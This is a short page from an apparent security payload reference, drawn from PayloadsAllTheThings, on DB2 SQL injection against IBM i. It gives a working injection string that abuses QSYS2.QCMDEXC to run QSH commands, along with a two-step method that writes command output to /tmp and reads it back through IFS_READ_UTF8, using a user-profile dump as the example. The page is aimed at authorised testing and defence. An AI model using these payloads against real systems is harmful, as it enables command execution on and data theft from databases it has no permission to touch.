SQL Injection · passage 47 of 186

DB2 Injection: DB2 Command Execution

2 code blocks · SQL Injection/DB2 Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

> The QSYS2.QCMDEXC() procedure and scalar function can be used to execute IBM i CL commands. Using the `QSYS2.QCMDEXC()` on IBM i (previously named AS-400), it is possibile to achieve command execution.

'||QCMDEXC('QSH CMD(''system dspusrprf PROFILE'')')

In many cases, the command output is not returned directly. The following approach works in two steps: first, execute the command and redirect both standard output and standard error to `/tmp/qsh_output.txt` then, read the contents of that file using `QSYS2.IFS_READ_UTF8`.

QSYS2.QCMDEXC('QSH CMD(''system dspusrprf PROFILE > /tmp/qsh_output.txt 2>&1'')')
SELECT LINE FROM TABLE(QSYS2.IFS_READ_UTF8('/tmp/qsh_output.txt',2147483647,'NONE'))

Every one of the 186 is a mark on the map. Named now: 27 to 52, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.